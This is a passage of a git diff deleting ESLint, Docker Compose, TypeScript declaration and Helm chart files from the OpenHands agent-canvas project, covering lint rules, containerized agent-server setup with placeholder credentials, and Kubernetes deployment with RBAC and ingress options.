"react-hooks": reactHooksPlugin, - "jsx-a11y": jsxA11yPlugin, - "@tanstack/query": tanstackQueryPlugin, - "unused-imports": unusedImportsPlugin, - // Alias `import-x` rules under `import/*` so existing - // `// eslint-disable-next-line import/foo` comments keep working. - import: importXPlugin, - prettier: prettierPlugin, - }, - settings: { - react: { version: "detect" }, - // `eslint-import-resolver-typescript` resolves both TS path aliases - // (via tsconfig) and regular node-style imports, so we don't also - // configure the legacy `node` resolver shortcut here. - "import-x/resolver": { - typescript: true, - }, - }, - rules: { - // Recommended rule packs we want everywhere. - ...tsPlugin.configs["eslint-recommended"].overrides[0].rules, - ...tsPlugin.configs.recommended.rules, - ...reactPlugin.configs.recommended.rules, - ...reactPlugin.configs["jsx-runtime"].rules, - ...reactHooksPlugin.configs.recommended.rules, - ...jsxA11yPlugin.configs.recommended.rules, - ...tanstackQueryPlugin.configs.recommended.rules, - - // Prettier integration. `eslint-config-prettier` turns off conflicting - // stylistic rules; `eslint-plugin-prettier` re-reports prettier diffs - // as lint errors so `npm run lint` fails on unformatted code (matching - // the pre-flat-config behaviour). - ...prettierConfig.rules, - "prettier/prettier": "error", - - // Project conventions previously enforced via airbnb / custom rules. - // Lint JSX *attributes* (not just text between tags) for hard-coded - // user-facing strings. The plugin default (`mode: 'jsx-text-only'`) - // never checks attribute values, which let untranslated strings like - // `aria-label="Close"` / `placeholder="..."` slip past lint (cf. #1306). - // - // `jsx-only` checks every literal inside a JSX subtree, so we scope it: - // - jsx-attributes.include: only attributes that carry translatable - // text. Everything else (testId, name, color, to, href, className, - // data-*, …) is ignored automatically — no brittle deny-list. - // - callees/object-properties: re-list the plugin defaults (the option - // merge is shallow, so providing a key replaces it) and add - // `cn`/`className` so Tailwind class strings built via `cn(...)` or - // `{ className: "..." }` aren't flagged. - "i18next/no-literal-string": [ - "error", - { - mode: "jsx-only", - "jsx-attributes": { - include: [ - "placeholder", - "alt", - "aria-label", - "title", - "label", - "heading", - "text", - ], - }, - callees: { - exclude: [ - "i18n(ext)?", - "t", - "require", - "addEventListener", - "removeEventListener", - "postMessage", - "getElementById", - "dispatch", - "commit", - "includes", - "indexOf", - "endsWith", - "startsWith", - "cn", - ], - }, - "object-properties": { - exclude: ["[A-Z_-]+", "className"], - }, - }, - ], - "unused-imports/no-unused-imports": "error", - "@typescript-eslint/prefer-optional-chain": "error", - "no-restricted-imports": [ - "error", - { - paths: [ - { - name: "@openhands/typescript-client/client/http-client", - message: - "Use typed @openhands/typescript-client clients instead of constructing HttpClient directly.", - }, - ], - }, - ], - - // Allow `interface Foo extends Bar<"foo"> {}` — the codebase uses this - // discriminated-union pattern in `src/types/agent-server/**` and the - // empty body is intentional. We still disallow `interface Foo {}` and - // `type Foo = {}` (the default behaviour for the other two options). - "@typescript-eslint/no-empty-object-type": [ - "error", - { allowInterfaces: "with-single-extends" }, - ], - - // tsPlugin's `recommended` enables no-unused-vars; we already report - // unused imports above, so make sure the TS rule still catches unused - // locals/args (with the standard airbnb-style `_`-prefix escape hatch). - // `caughtErrors: 'none'` keeps the v7 behaviour of allowing - // `catch (error)` clauses where the error is intentionally unused. - "no-unused-vars": "off", - "@typescript-eslint/no-unused-vars": [ - "error", - { - args: "after-used", - argsIgnorePattern: "^_", - varsIgnorePattern: "^_", - ignoreRestSiblings: true, - caughtErrors: "none", - }, - ], - - // React Compiler rules (added in eslint-plugin-react-hooks v5+) are - // opt-in for projects that have actually adopted the compiler. Keep - // them off so existing code isn't retroactively flagged. - "react-hooks/immutability": "off", - "react-hooks/preserve-manual-memoization": "off", - "react-hooks/refs": "off", - "react-hooks/set-state-in-effect": "off", - - // Match the legacy config: don't require .ts/.tsx import extensions, - // but enforce them for everything else. See - // https://stackoverflow.com/q/59265981 for background. - "import-x/extensions": [ - "error", - "ignorePackages", - { "": "never", ts: "never", tsx: "never", js: "never", jsx: "never" }, - ], - // The old config inherited a bunch of import rules from airbnb that - // either don't apply or are now noise; explicitly turn off the ones - // most likely to fire on this codebase. - "import-x/prefer-default-export": "off", - "import-x/no-extraneous-dependencies": "off", - // `import-x/no-unresolved` is redundant with the TypeScript compiler: - // `tsc` (run as `npm run typecheck` before `eslint`) already fails on - // unresolved imports with much better error messages, and the rule - // has known false positives with `paths`/exports-map resolution even - // when the typescript resolver is configured. Keeping it on duplicates - // tsc errors and produces noise on Vite's `?url` / `?worker` import - // suffixes that ESLint can't see through. - "import-x/no-unresolved": "off", - // These two fire a lot of false positives on TypeScript projects that - // import a namespace and then call methods off it (`import api from - // './foo'; api.bar()` etc.). The TS compiler already catches anything - // truly wrong here. - "import-x/no-named-as-default": "off", - "import-x/no-named-as-default-member": "off", - }, - }, - - // TypeScript-only overrides (re-applied airbnb-ish relaxations from the - // previous `.eslintrc` overrides block). - { - files: ["**/*.{ts,tsx}"], - ignores: ["src/hooks/query/query-keys.ts"], - rules: { - // Allow state mutation in reduce and Redux-style reducers. - "no-param-reassign": [ - "error", - { - props: true, - ignorePropertyModificationsFor: ["acc", "state"], - }, - ], - "no-restricted-syntax": [ - "error", - { - selector: - "Property[key.name='queryKey'] > ArrayExpression[elements.0.value='settings']", - message: - "Use SETTINGS_QUERY_KEYS helpers instead of raw settings query key arrays.", - }, - { - selector: - "CallExpression[callee.name='t'] > Literal:first-child[value=/^[A-Z0-9_]+\\$/]", - message: "Use I18nKey instead of raw translation key strings.", - }, - { - selector: - "CallExpression[callee.property.name='t'] > Literal:first-child[value=/^[A-Z0-9_]+\\$/]", - message: "Use I18nKey instead of raw translation key strings.", - }, - ], - "react/require-default-props": "off", - "no-underscore-dangle": "off", - "jsx-a11y/no-static-element-interactions": "off", - "jsx-a11y/click-events-have-key-events": "off", - // For https://github.com/airbnb/javascript/issues/1885 - "jsx-a11y/label-has-associated-control": [ - 2, - { - required: { - some: ["nesting", "id"], - }, - }, - ], - "react/prop-types": "off", - "react/no-array-index-key": "off", - "react-hooks/exhaustive-deps": "off", - "react/react-in-jsx-scope": "off", - }, - }, -]; diff --git a/examples/acp-docker/.env.example b/examples/acp-docker/.env.example deleted file mode 100644 index 30f326e54..000000000 --- a/examples/acp-docker/.env.example +++ /dev/null @@ -1,34 +0,0 @@ -# Example environment for examples/acp-docker/docker-compose.yml. -# Copy to `.env` in this directory. Everything here is OPTIONAL — the -# recommended path is to enter credentials in Canvas's onboarding "Set up -# credentials" step (they ride the conversation start request as secrets). -# Set values here only if you want them baked into the container instead. - -# Pin the agent-server image. The compose default is `latest-python`. -# For a reproducible pin (driven by config/defaults.json): npm run example:acp-docker:env -# AGENT_SERVER_IMAGE=ghcr.io/openhands/agent-server:latest-python - -# --- Claude Code --- -# A Pro/Max OAuth token, OR an API key. Do NOT set ANTHROPIC_BASE_URL with the -# OAuth token — an inherited base URL breaks bearer auth (see docs/ACP_AGENTS.md). -# CLAUDE_CODE_OAUTH_TOKEN= -# ANTHROPIC_API_KEY= - -# --- Codex --- -# Subscription auth.json is supplied via Canvas (CODEX_AUTH_JSON); for an API -# key instead: -# OPENAI_API_KEY= - -# --- Gemini CLI (Vertex AI) --- -# The service-account / ADC JSON is supplied via Canvas -# (GOOGLE_APPLICATION_CREDENTIALS_JSON). These scalars can live here or in Canvas: -# GOOGLE_CLOUD_PROJECT= -# GOOGLE_CLOUD_LOCATION=us-central1 -# GOOGLE_GENAI_USE_VERTEXAI=true -# Or the API-key path: -# GEMINI_API_KEY= - -# --- Auth (optional) --- -# Require a session key on the backend; mirror it into Canvas as -# VITE_SESSION_API_KEY. Leave unset for an open local backend. -# SESSION_API_KEY= diff --git a/examples/acp-docker/README.md b/examples/acp-docker/README.md deleted file mode 100644 index c463561c8..000000000 --- a/examples/acp-docker/README.md +++ /dev/null @@ -1,99 +0,0 @@ -# Containerized ACP agent-server for Agent Canvas - -Run an ACP agent (Codex / Claude Code / Gemini CLI) against a **containerized** -Agent Server and drive it from Agent Canvas, with credentials supplied through -the Canvas UI. This is the local-Docker counterpart of the cloud path — a fresh -container has no host CLI login, so credentials come from you instead. - -See [`../../docs/ACP_AGENTS.md`](../../docs/ACP_AGENTS.md#running-acp-agents-in-a-docker-container) -for the full walkthrough; this is the quick start. - -## 1. Bring up the agent-server - -```bash -cd examples/acp-docker -docker compose up -``` - -This starts `ghcr.io/openhands/agent-server:latest-python` on -`http://localhost:8010` with a persistent `acp-data` volume. The image -pre-installs the ACP CLI wrappers and the SDK rewrites `npx -y ` to those -pinned binaries in-pod, so Canvas can keep sending the default `npx` command -unchanged. - -For a **reproducible, pinned** image, generate `.env` from the repo's single -source of truth (`config/defaults.json`) first — it pins `AGENT_SERVER_IMAGE` -to the exact `versions.agentServer` release, so two people get the same build: - -```bash -npm run example:acp-docker:env # from the repo root; writes examples/acp-docker/.env -cd examples/acp-docker && docker compose up -``` - -> **Version compatibility.** The common paths keep Canvas and agent-server in -> sync: zero-config Compose uses `latest-python`, while the pinned path reads -> `versions.agentServer` from the same `config/defaults.json` used by the Canvas -> launchers. If you carry an old hand-written `.env` with `AGENT_SERVER_IMAGE`, -> rerun `npm run example:acp-docker:env` or remove that override so the example -> does not stay pinned below `compatibility.minimumAgentServer`. - -To pin a newer release or a current main build by hand instead: - -```bash -AGENT_SERVER_IMAGE=ghcr.io/openhands/agent-server:$(gh api repos/OpenHands/software-agent-sdk/commits/main --jq '.sha[0:7]')-python docker compose up -``` - -To bake credentials into the container instead of entering them in Canvas, copy -the env template first: `cp .env.example .env` (optional — see [§3](#3-onboard-with-credentials)). - -## 2. Point Canvas at it - -```bash -cd ../.. # repo root -VITE_BACKEND_BASE_URL=http://localhost:8010 npm run dev:frontend -``` - -The image's CORS allows `localhost`, so the browser talks to the container -directly. (You can also add it as a backend in the Canvas backend selector with -host `http://localhost:8010`.) - -## 3. Onboard with credentials - -Pick the ACP provider in onboarding and fill in the **Set up credentials** step. -On a containerized backend this step is **required** (there's no host login to -fall back on): - -| Provider | What to paste | -|---|---| -| **Codex** (subscription) | `CODEX_AUTH_JSON` — the full contents of `~/.codex/auth.json` | -| **Claude Code** (subscription) | `CLAUDE_CODE_OAUTH_TOKEN` — your Pro/Max OAuth token | -| **Gemini CLI** (Vertex) | `GOOGLE_APPLICATION_CREDENTIALS_JSON` (SA / ADC JSON) + `GOOGLE_CLOUD_PROJECT` + `GOOGLE_CLOUD_LOCATION` + `GOOGLE_GENAI_USE_VERTEXAI=true` | - -Each provider also accepts an API-key path (`OPENAI_API_KEY` / `ANTHROPIC_API_KEY` / -`GEMINI_API_KEY`). Canvas saves these to the agent-server's secret store and the -start request references them as `LookupSecret`s; the SDK resolves each value at -spawn time (off the event loop, per #3510), materialises the `*_JSON` blobs to -disk, and points the CLI's data-dir env at them automatically. - -> ⚠️ **Do not set `ANTHROPIC_BASE_URL` with the Claude OAuth token.** An inherited -> LiteLLM base URL silently breaks bearer auth. Canvas never sets it for you, but -> a *saved* `ANTHROPIC_BASE_URL` secret rides along on every start request — the -> credential form warns about the pair. - -> ⚠️ **Gemini Vertex ADC must be freshly logged in.** Run -> `gcloud auth application-default login` — a stale token returns `invalid_rapt`. - -> ℹ️ **Baked creds in `.env` may not satisfy the onboarding gate.** The login -> probe checks CLI login state (`claude auth status` / `codex login status` / -> Gemini's OAuth credentials file), not container env vars — a container with -> only e.g. `GEMINI_API_KEY` baked via `.env` typically still probes as -> logged-out, and the credentials step then blocks "Next". Enter (or re-enter) -> a credential in the UI to proceed; the baked env var still works for the -> agent itself. - -## Tear down - -```bash -docker compose down # keep the volume -docker compose down -v # also drop credentials/conversations -``` diff --git a/examples/acp-docker/docker-compose.yml b/examples/acp-docker/docker-compose.yml deleted file mode 100644 index 1a653c1c5..000000000 --- a/examples/acp-docker/docker-compose.yml +++ /dev/null @@ -1,74 +0,0 @@ -# Containerized ACP agent-server for Agent Canvas (agent-canvas#1014). -# -# Brings up the OpenHands Agent Server image — which pre-installs the ACP CLI -# wrappers (claude-agent-acp / codex-acp / gemini) — with a persistent volume so -# conversations and materialised credential files survive restarts. Point Canvas -# at it with VITE_BACKEND_BASE_URL=http://localhost:8010 (the image's CORS allows -# localhost, so the browser talks to it directly). -# -# 1. Copy .env.example to .env and fill in the credentials for the provider(s) -# you want to run (see that file + ../../docs/ACP_AGENTS.md → "Running ACP -# agents in a Docker container"). -# 2. `docker compose up` (from this directory) -# 3. Run Canvas pointed at it: VITE_BACKEND_BASE_URL=http://localhost:8010 npm run dev:frontend -# -# The credentials below are read from your shell/.env and handed to Canvas via -# the onboarding "Set up credentials" step; this file only needs them if you -# prefer to bake host logins into the container instead of entering them in the -# UI. Leave them unset to supply everything through Canvas. - -services: - agent-server: - # Default `latest-python` is always >= the version Canvas requires. To pin a - # reproducible image (driven by config/defaults.json) or override per-run: - # npm run example:acp-docker:env # writes AGENT_SERVER_IMAGE to .env - # (Rationale — the compatibility floor and the #3510 LookupSecret fix — is in - # README.md §1 and the env-sync test.) - image: ${AGENT_SERVER_IMAGE:-ghcr.io/openhands/agent-server:latest-python} - container_name: oh-acp - ports: - # host:container — Canvas points VITE_BACKEND_BASE_URL at http://localhost:8010. - - "8010:8000" - environment: - # New conversations define canvas_ui_control through client_tools. Keep the - # old Python module importable so conversations persisted before that migration - # can restore CanvasUIAction / CanvasUIObservation events after a restart. - - OH_EXTRA_PYTHON_PATH=/canvas-tools - # Optional cipher key. ACP conversations work without it (Canvas sends ACP - # provider credentials as loopback LookupSecrets resolved from the - # agent-server's own secret store, and does NOT flag the request - # secrets_encrypted). Set it to (a) persist saved secrets across - # container restarts and (b) enable the encrypted-settings path used by - # OpenHands-agent (non-ACP) conversations. Generate one with - # `python -c "import secrets;print(secrets.token_urlsafe(32))"`. - # - OH_SECRET_KEY=${OH_SECRET_KEY} - # - # The agent-server's CORS already allows localhost origins, so no extra - # config is needed for the browser to reach it directly. - # - # Optionally bake provider logins into the container instead of entering - # them in the Canvas onboarding step. These are passed through from .env; - # unset values are simply not exported. NOTE: the recommended path is to - # enter credentials in Canvas (they ride the start request as secrets) — - # this is here for non-interactive / CI setups. - - ANTHROPIC_API_KEY - - CLAUDE_CODE_OAUTH_TOKEN - - OPENAI_API_KEY - - GEMINI_API_KEY - - GOOGLE_CLOUD_PROJECT - - GOOGLE_CLOUD_LOCATION - - GOOGLE_GENAI_USE_VERTEXAI - # Set a session key to require auth; mirror it into Canvas via - # VITE_SESSION_API_KEY. Leave unset for an open local backend. - # - SESSION_API_KEY - volumes: - # Persist conversations AND the credential files the SDK materialises - # (Codex auth.json under CODEX_HOME, Gemini ADC/SA JSON) across restarts. - - acp-data:/workspace - # Legacy canvas_ui module used only when restoring pre-client_tools state. - # Path is relative to this compose file. - - ../../tools:/canvas-tools:ro - restart: unless-stopped - -volumes: - acp-data: diff --git a/global.d.ts b/global.d.ts deleted file mode 100644 index 587fcc28a..000000000 --- a/global.d.ts +++ /dev/null @@ -1,18 +0,0 @@ -interface Window { - __GITHUB_CLIENT_ID__?: string | null; -} - -declare module "postcss-prefix-selector" { - interface PrefixerOptions { - prefix: string; - transform?: ( - prefix: string, - selector: string, - prefixedSelector: string, - ) => string; - } - - export default function prefixer( - options: PrefixerOptions, - ): import("postcss").AcceptedPlugin; -} diff --git a/helm/agent-canvas/.helmignore b/helm/agent-canvas/.helmignore deleted file mode 100644 index 4275a16bb..000000000 --- a/helm/agent-canvas/.helmignore +++ /dev/null @@ -1,18 +0,0 @@ -# Patterns to ignore when packaging Helm charts. -.DS_Store -.git/ -.gitignore -.bzr/ -.hg/ -.svn/ -*.swp -*.tmp -*.orig -*.bak -# CI / test -.github/ -.circleci/ -.travis.yml -# Editor -.idea/ -.vscode/ diff --git a/helm/agent-canvas/Chart.yaml b/helm/agent-canvas/Chart.yaml deleted file mode 100644 index ec8180147..000000000 --- a/helm/agent-canvas/Chart.yaml +++ /dev/null @@ -1,28 +0,0 @@ -apiVersion: v2 -name: agent-canvas -description: | - Helm chart for running the OpenHands agent-canvas all-in-one image - (frontend + agent-server + automation) as a StatefulSet with persistent - storage, ingress, and optional cluster RBAC. -type: application -# Chart-level version. Bump on chart changes. -version: 0.1.0 -# Default appVersion pins the published agent-canvas image tag from -# config/defaults.json (`versions.agentCanvas`). Override via -# `--set image.tag=...` to pull a different build (e.g. `main`, `latest`, -# or a `sha-` tag). -# Kept in sync by release-please (extra-files, type `generic`) — do not edit by -# hand; the trailing annotation is what marks this line for replacement. -appVersion: "1.6.1" # x-release-please-version -kubeVersion: ">=1.24.0-0" -home: https://github.com/OpenHands/agent-canvas -sources: - - https://github.com/OpenHands/agent-canvas -keywords: - - openhands - - agent - - ai - - agent-canvas -maintainers: - - name: OpenHands - url: https://github.com/OpenHands diff --git a/helm/agent-canvas/README.md b/helm/agent-canvas/README.md deleted file mode 100644 index 0f0dba162..000000000 --- a/helm/agent-canvas/README.md +++ /dev/null @@ -1,214 +0,0 @@ -# agent-canvas Helm chart - -Helm chart for running the [OpenHands agent-canvas](https://github.com/OpenHands/agent-canvas) -all-in-one image (frontend + agent-server + automation) on Kubernetes as a -`StatefulSet` with persistent storage, an `Ingress`, and optional in-cluster -RBAC. - -> [!WARNING] -> This Helm chart is experimental. Agent Canvas is an unauthenticated, single-tenant application. This helm chart doesn't address scale or zero-downtime deployments. - -## When to use this - -This chart turns a Kubernetes cluster into a shared, always-on Agent Canvas -backend: one pod running the UI, agent-server, and automation stack, with a -PVC that survives pod restarts and image upgrades. It's a good fit when you -want: - -- **A self-hosted, persistent backend** instead of the laptop-friendly Docker - setup — so conversations, secrets, and the automation SQLite DB persist - across restarts without you managing the volume by hand. -- **An internal "vibecoding" platform.** With [RBAC enabled](#rbac), give the - agent a skill that teaches it to deploy the small web apps it builds - straight into the cluster. From that point on, anyone with access to the - Agent Canvas UI can build and ship code into the cluster — and save it to - GitHub — with just a prompt. No pipelines, no manual `kubectl`, no - hand-written manifests. - -Put it behind an authenticated ingress before exposing it to the internet (see -the [Security](#security) notes). - -## Relationship to OpenHands Enterprise - -Agent Canvas is an **unauthenticated, single-tenant** application. This chart -runs exactly that: **one** shared instance where all agents are comingled on -the same pod and PVC, with no built-in auth, RBAC for users, or tenant -isolation. It's well suited to a single team or individual running their own -backend. - -[OpenHands Enterprise (OHE)](https://www.all-hands.ai/enterprise) is the -productized upgrade path when you need a hardened, multi-user deployment. OHE -adds: - -- **Authentication** (SSO / SAML / OIDC) so users must log in. -- **Role-based access control** over who can run agents and manage the - deployment. -- **Multi-tenancy** so different teams get isolated spaces. -- **Isolated agent sandboxes** — each agent run gets its own container rather - than every agent sharing the pod's filesystem. - -Use this chart for self-hosted, single-tenant setups; reach for OHE when you -need authentication, multi-tenancy, or isolated agent execution. - -## TL;DR - -```bash -helm install agent-canvas ./helm/agent-canvas -``` - -## What gets deployed - -| Resource | Purpose | -| ----------------------------------- | ---------------------------------------------------------------------------------- | -| `StatefulSet` | Single-replica pod running the all-in-one image (frontend + agent-server + automation). | -| `PersistentVolumeClaim` (per pod) | Backs `~/.openhands` and `~/workspace` (both mounted from the same PVC via `subPath`): settings, encrypted secrets, conversation history, automation SQLite DB, cloned repos, generated files. | -| `Service` (`ClusterIP` by default) | Cluster-internal endpoint on port 8000. | -| `Service` (headless) | Required by the `StatefulSet` for stable pod DNS. | -| `ServiceAccount` | Stable identity the pod runs under. Bindings depend on `rbac.*`. | -| `Ingress` (optional) | External HTTP(S) entry point with the usual class/annotations/TLS knobs. | -| `RoleBinding` (per namespace) | When `rbac.enabled=true`, one per entry in `rbac.namespaces`, bound to the built-in `admin` ClusterRole. | -| `ClusterRoleBinding` (optional) | When `rbac.clusterAdmin=true`, binds the SA to `cluster-admin` cluster-wide. | - -## Persistence - -The chart provisions **one** PVC and mounts it at multiple well-known -subdirectories of the openhands user's HOME (`/home/openhands`) via -`subPath`. That preserves the pristine home directory the base image -ships (dotfiles like `~/.bashrc` and `~/.profile`) while persisting the -directories that actually contain state: - -- `~/.openhands` — agent-server settings, encrypted secrets, - conversation history and event stores, automation SQLite database - (unless `config.automationDbUrl` is set), auto-generated - `OH_SECRET_KEY`, session API key -- `~/workspace` — the agent's default working directory: cloned repos, - worktrees, anything the agent writes when it treats `~` as the - workspace root - -Both paths share the same underlying disk. Add more entries to -`persistence.mounts` if you want other subtrees persisted (e.g. -`~/.cache`, `~/.config`). - -The pod runs as `openhands` (UID 10001) from the upstream image; -`podSecurityContext.fsGroup=10001` makes the kubelet chown the PVC -so that user can write to it. - -Point at an existing PVC with `persistence.existingClaim=` if you -manage the volume out of band; otherwise the chart uses the -`StatefulSet`'s `volumeClaimTemplates` (recommended — data survives pod -rescheduling and image upgrades). - -## RBAC - -RBAC is **off by default** — the pod runs under its own ServiceAccount -but has no in-cluster permissions. - -Two independent switches: - -```yaml -rbac: - enabled: true - # Full access to all resources in these namespaces (bound to the - # built-in `admin` ClusterRole via one RoleBinding per namespace). - namespaces: - - default - - agent-sandbox - # Optionally grant cluster-admin. OFF by default. Very broad — enable - # only when the agent truly needs to manage the whole cluster. - clusterAdmin: false -``` - -- `rbac.namespaces` creates one `RoleBinding` per namespace, referencing - the built-in `admin` ClusterRole. Those namespaces must already exist - in the cluster. -- `rbac.clusterAdmin=true` creates an additional `ClusterRoleBinding` to - `cluster-admin`. This overrides / supersedes any per-namespace grant. - -## Ingress - -Standard knobs: - -```yaml -ingress: - enabled: true - className: nginx - annotations: - nginx.ingress.kubernetes.io/proxy-read-timeout: "3600" - nginx.ingress.kubernetes.io/proxy-body-size: "50m" - cert-manager.io/cluster-issuer: letsencrypt-prod - hosts: - - host: agent-canvas.example.com - paths: - - path: / - pathType: Prefix - tls: - - hosts: - - agent-canvas.example.com - secretName: agent-canvas-tls -``` - -The agent-server uses WebSockets on `/sockets`, so long -`proxy-read-timeout` / `proxy-send-timeout` values are recommended when -using `ingress-nginx`. File uploads honor `proxy-body-size`. - -## Common overrides - -Provide an LLM key via secret: - -```yaml -config: - extraEnv: - - name: LLM_MODEL - value: openhands/claude-sonnet-4-5-20250929 - - name: LLM_API_KEY - valueFrom: - secretKeyRef: - name: my-llm-secret - key: api-key -``` - -Bring your own `OH_SECRET_KEY` (must match the value used to encrypt any -existing PVC contents): - -```yaml -secrets: - ohSecretKey: - existingSecret: agent-canvas-keys - key: ohSecretKey -``` - -Point automation at an external Postgres: - -```yaml -config: - automationDbUrl: postgresql+asyncpg://user:pass@postgres/agentcanvas -``` - -## Security - -The agent server can read and write the pod filesystem, execute shell -commands, and — when RBAC is enabled — mutate the Kubernetes cluster it runs -in. There is no built-in authentication in Agent Canvas, so treat the release -namespace as trusted infrastructure: - -- Put it behind an **authenticated** ingress (oauth2-proxy, Cloudflare Access, - tailscale-serve, etc.) before exposing it to the internet. -- Avoid a bare `LoadBalancer` — the agent server accepts any request with the - right `LOCAL_BACKEND_API_KEY`, so exposing it directly means anyone who can - guess the key can drive the agent. -- Only turn on `rbac.clusterAdmin` when you truly need cluster-wide access; - prefer scoping to specific namespaces via `rbac.namespaces`. - -For authentication, role-based access control, multi-tenancy, and isolated -agent sandboxes, see [OpenHands Enterprise](#relationship-to-openhands-enterprise). - -## Uninstall - -```bash -helm uninstall agent-canvas -``` - -By default the PVC created by `volumeClaimTemplates` is **retained** -after uninstall — delete it manually if you want the data gone. Set -`statefulSet.persistentVolumeClaimRetentionPolicy` (Kubernetes 1.27+) if -you want the PVC lifecycle tied to the StatefulSet. diff --git a/helm/agent-canvas/templates/NOTES.txt b/helm/agent-canvas/templates/NOTES.txt deleted file mode 100644 index e81d002fd..000000000 --- a/helm/agent-canvas/templates/NOTES.txt +++ /dev/null @@ -1,55 +0,0 @@ -agent-canvas has been installed as release {{ .Release.Name }} in namespace {{ .Release.Namespace }}. - -1. Wait for the StatefulSet pod to be ready: - kubectl -n {{ .Release.Namespace }} rollout status statefulset/{{ include "agent-canvas.fullname" . }} - -2. Access the UI: -{{- if .Values.ingress.enabled }} - {{- range .Values.ingress.hosts }} - {{- $scheme := "http" -}} - {{- range $.Values.ingress.tls -}} - {{- if has $.host .hosts -}} - {{- $scheme = "https" -}} - {{- end -}} - {{- end }} - {{- range .paths }} - {{ $scheme }}://{{ $.host }}{{ .path }} - {{- end }} - {{- end }} -{{- else if contains "NodePort" .Values.service.type }} - export NODE_PORT=$(kubectl -n {{ .Release.Namespace }} get svc {{ include "agent-canvas.fullname" . }} -o jsonpath='{.spec.ports[0].nodePort}') - export NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[0].address}') - echo "http://$NODE_IP:$NODE_PORT" -{{- else if contains "LoadBalancer" .Values.service.type }} - Waiting for the LoadBalancer to be provisioned... - kubectl -n {{ .Release.Namespace }} get svc -w {{ include "agent-canvas.fullname" . }} -{{- else }} - kubectl -n {{ .Release.Namespace }} port-forward svc/{{ include "agent-canvas.fullname" . }} 8000:{{ .Values.service.port }} - # Then open http://localhost:8000 -{{- end }} - -3. Retrieve the auto-generated session API key (needed for direct API calls): - kubectl -n {{ .Release.Namespace }} exec {{ include "agent-canvas.fullname" . }}-0 -- \ - cat {{ .Values.persistence.mountPath }}/session-api-key.txt - -{{- if .Values.rbac.enabled }} - -4. RBAC is enabled for this release. The agent has been granted: - {{- if .Values.rbac.namespaces }} - - Admin access (built-in `admin` ClusterRole) in namespaces: - {{- range .Values.rbac.namespaces }} - * {{ . }} - {{- end }} - {{- end }} - {{- if .Values.rbac.clusterAdmin }} - - CLUSTER-ADMIN access to the entire cluster (via `cluster-admin` - ClusterRoleBinding). This is a very broad privilege — audit - access accordingly. - {{- end }} -{{- else }} - -4. RBAC is disabled — the agent has no in-cluster permissions beyond - what the default ServiceAccount can do. Set `rbac.enabled=true` and - populate `rbac.namespaces` (and optionally `rbac.clusterAdmin=true`) - to grant it cluster access. -{{- end }} diff --git a/helm/agent-canvas/templates/_helpers.tpl b/helm/agent-canvas/templates/_helpers.tpl deleted file mode 100644 index 9e3dfd7dc..000000000 --- a/helm/agent-canvas/templates/_helpers.tpl +++ /dev/null @@ -1,102 +0,0 @@ -{{/* -Expand the name of the chart. -*/}} -{{- define "agent-canvas.name" -}} -{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" -}} -{{- end -}} - -{{/* -Create a fully qualified app name. -*/}} -{{- define "agent-canvas.fullname" -}} -{{- if .Values.fullnameOverride -}} -{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" -}} -{{- else -}} -{{- $name := default .Chart.Name .Values.nameOverride -}} -{{- if contains $name .Release.Name -}} -{{- .Release.Name | trunc 63 | trimSuffix "-" -}} -{{- else -}} -{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" -}} -{{- end -}} -{{- end -}} -{{- end -}} - -{{- define "agent-canvas.chart" -}} -{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" -}} -{{- end -}} - -{{/* -Common labels -*/}} -{{- define "agent-canvas.labels" -}} -helm.sh/chart: {{ include "agent-canvas.chart" . }} -{{ include "agent-canvas.selectorLabels" . }} -{{- if .Chart.AppVersion }} -app.kubernetes.io/version: {{ .Chart.AppVersion | quote }} -{{- end }} -app.kubernetes.io/managed-by: {{ .Release.Service }} -{{- end -}} - -{{/* -Selector labels -*/}} -{{- define "agent-canvas.selectorLabels" -}} -app.kubernetes.io/name: {{ include "agent-canvas.name" . }} -app.kubernetes.io/instance: {{ .Release.Name }} -{{- end -}} - -{{/* -Immutable labels — the subset of common labels that are safe to stamp -into resource fields that Kubernetes rejects modifications to after -creation. Excludes `helm.sh/chart` and `app.kubernetes.io/version`, -both of which change whenever the chart version or appVersion is -bumped. - -Use this (not `agent-canvas.labels`) inside anything under -`StatefulSet.spec.volumeClaimTemplates[].metadata` — that subtree is -immutable, and any diff there causes `helm upgrade` to fail with: - - StatefulSet.apps ... is invalid: spec: Forbidden: updates to - statefulset spec for fields other than 'replicas', 'ordinals', - 'template', ... are forbidden - -Object-level `metadata.labels` (on the STS itself, Services, etc.) -are mutable, so those keep the full `agent-canvas.labels` set. -*/}} -{{- define "agent-canvas.immutableLabels" -}} -{{ include "agent-canvas.selectorLabels" . }} -app.kubernetes.io/managed-by: {{ .Release.Service }} -{{- end -}} - -{{/* -ServiceAccount name to use. -*/}} -{{- define "agent-canvas.serviceAccountName" -}} -{{- if .Values.serviceAccount.create -}} -{{- default (include "agent-canvas.fullname" .) .Values.serviceAccount.name -}} -{{- else -}} -{{- default "default" .Values.serviceAccount.name -}} -{{- end -}} -{{- end -}} - -{{/* -Effective image reference. -*/}} -{{- define "agent-canvas.image" -}} -{{- $tag := default .Chart.AppVersion .Values.image.tag -}} -{{- printf "%s:%s" .Values.image.repository $tag -}} -{{- end -}} - -{{/* -PVC name — either the user-provided existing claim or the templated one -that StatefulSet.volumeClaimTemplates generates as "-". -When existingClaim is set we mount it as a plain volume (not via -volumeClaimTemplates), which is why the StatefulSet template branches. -*/}} -{{- define "agent-canvas.pvcClaimName" -}} -{{- if .Values.persistence.existingClaim -}} -{{- .Values.persistence.existingClaim -}} -{{- else -}} -data -{{- end -}} -{{- end -}} diff --git a/helm/agent-canvas/templates/ingress.yaml b/helm/agent-canvas/templates/ingress.yaml deleted file mode 100644 index 973f3c0ac..000000000 --- a/helm/agent-canvas/templates/ingress.yaml +++ /dev/null @@ -1,48 +0,0 @@ -{{- if .Values.ingress.enabled -}} -{{- $fullName := include "agent-canvas.fullname" . -}} -{{- $svcPort := .Values.service.port -}} -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: {{ $fullName }} - namespace: {{ .Release.Namespace }} - labels: - {{- include "agent-canvas.labels" . | nindent 4 }} - {{- with .Values.ingress.annotations }} - annotations: - {{- toYaml . | nindent 4 }} - {{- end }} -spec: - {{- if .Values.ingress.className }} - ingressClassName: {{ .Values.ingress.className }} - {{- end }} - {{- 